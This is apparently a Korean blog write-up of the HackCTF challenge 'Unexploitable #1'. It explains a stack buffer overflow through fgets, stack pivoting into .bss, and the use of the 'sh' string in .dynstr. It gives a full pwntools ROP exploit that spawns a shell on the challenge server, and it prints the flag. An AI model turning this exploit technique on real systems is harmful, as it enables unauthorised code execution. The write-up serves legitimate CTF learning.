ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Unexploitable #1
    CTF/HackCTF 2021. 2. 4. 21:24

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        char *s;
        
        setvbuf(_reloc.stdout, 0, 2, 0);
        setvbuf(_reloc.stdin, 0, 2, 0);
        fwrite("Easy RTL ha? You even have system@plt!\n", 1, 0x27, _reloc.stdout);
        fflush(_reloc.stdin);
        fgets(&s, 0x40, _reloc.stdin);
        return 0;
    }

    main에서 fgets로 인해 스택 버퍼 오버플로우가 발생한다.

    void gift(void)
    {
        system("use this system gadget :D");
        return;
    }

    gift에서 system을 호출하므로 이를 이용할 수 있다.

    "/bin/sh"


    fgets와 fwrite을 사용하기에는 rdx를 다룰 gadget이 부족하지만, 공격을 위해서는 "/bin/sh" 문자열의 존재가 필수불가결하다. 이를 해결하기 위한 방법으로는 세 가지가 있다.

     

    1. ROP로 "/bin/sh" 문자열을 쓰기 가능한 영역에 overwrite
    2. libc address leak 이후 라이브러리 내부의 "/bin/sh" 문자열 사용
    3. .dynstr 영역 이용

    Return Oriented Programming


    fgets(rbp-0x10, 0x40, stdin)

    main에서 fgets를 호출할때 rdi에는 인자 [s]가 전달되는데, 이는 주소 rbp-0x10을 가리킨다. 따라서 rbp를 조작한 뒤 call fflush 직후로 리턴해주면 원하는 영역을 fgets를 통해 덮어쓸 수 있다.

     

    쓰기 권한이 있는 고정된 영역인 .bss 영역을 fgets로 overwrite할 주소로 선택하였다. 

    payload = b"A"*0x10
    payload += p64(0x601f00)
    payload += p64(main+0x71)
    p.sendlineafter("\n", payload)

    rbp를 0x601f00으로 덮었으므로 leave ret 이후 rsp는 0x601f08을 가리키고, fgets는 0x601f00-0x10부터 입력받으므로 0x18바이트만큼 padding한 뒤 pop rdi와 system 가젯으로 system("/bin/sh")를 호출해주면 된다.

    payload = b"A"*0x18
    payload += p64(prdi)
    payload += b"/bin/sh\x00"
    payload += p64(prdi)
    payload += p64(0x601f10)
    payload += p64(system_plt)
    p.sendline(payload)

    이때 처음 0x18바이트에 binsh 문자열을 넣고 이를 인자로 system을 실행하니 공격이 되지 않던데 이유를 아직 모르겠다. 또한 rbp를 약 0x601700 이전으로 설정하면 공격이 잘 되지 않는다. fgets나 system을 실행하는 데 있어 인자의 주변 주소에 접근하는 명령어가 있지 않을까 추측하고 있다.

     

    Using system()


    system을 통해 명령어를 전달하면 종종 다음과 같은 메세지를 반환한다.

    payload = b"A"*0x18
    payload += p64(prdi)
    payload += p64(fwrite_got)
    payload += p64(system_plt)
    p.sendlineafter("\n", payload)

    명령어가 유효하지 않을경우 해당 명령어를 돌려주는데, 이를 통해 arbitary address content leak이 가능하고, .got 영역의 주소를 leak해서 라이브러리 주소를 알아내어 이를 바탕으로 system("/bin/sh")를 호출하는 방법이 있다.

    .dynstr


    flag에서 알 수 있듯이 .dynstr 영역을 이용하는 것이 출제자의 의도인 듯하다. 이 영역은 동적 링크에 필요한 문자열을 담고 있는 영역으로, 예시로는 라이브러리 함수의 이름이 있다.

    .dynstr

    .dynstr 영역은 위와 같이 string을 나열해 놓고 offset을 바탕으로 문자열을 참조하는데, 잘보면 fflush 함수의 이름이 있다. 그리고 system("/bin/sh") 뿐만 아니라 system("sh") 또한 쉘을 취득할 수 있다는 점을 이용해 .dynstr 영역의 "sh\x00"을 인자로 system 함수를 호출해 주면 RTL을 통해 문제를 해결할 수 있다.

    Code

    더보기
    from pwn import *
    
    binary = "./Unexploitable_1"
    server = "ctf.j0n9hyun.xyz"
    port = 3023
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    
    e.checksec()
    
    prdi = (r.find_gadget(['pop rdi', 'ret']))[0]
    
    main = e.symbols["main"]
    system_plt = e.plt["system"]
    
    payload = b"A"*0x10
    payload += p64(0x601f00)
    payload += p64(main+0x71)
    p.sendlineafter("\n", payload)
    
    payload = b"A"*0x18
    payload += p64(prdi)
    payload += b"/bin/sh\x00"
    payload += p64(prdi)
    payload += p64(0x601f10)
    payload += p64(system_plt)
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{dyn5tr_tr1ck_^_^}

    'CTF > HackCTF' 카테고리의 다른 글

    RTC  (0) 2021.02.05
    Register  (0) 2021.02.04
    ROP  (0) 2021.02.01
    You are silver  (0) 2021.02.01
    Gift  (0) 2021.02.01

    댓글

Designed by Tistory.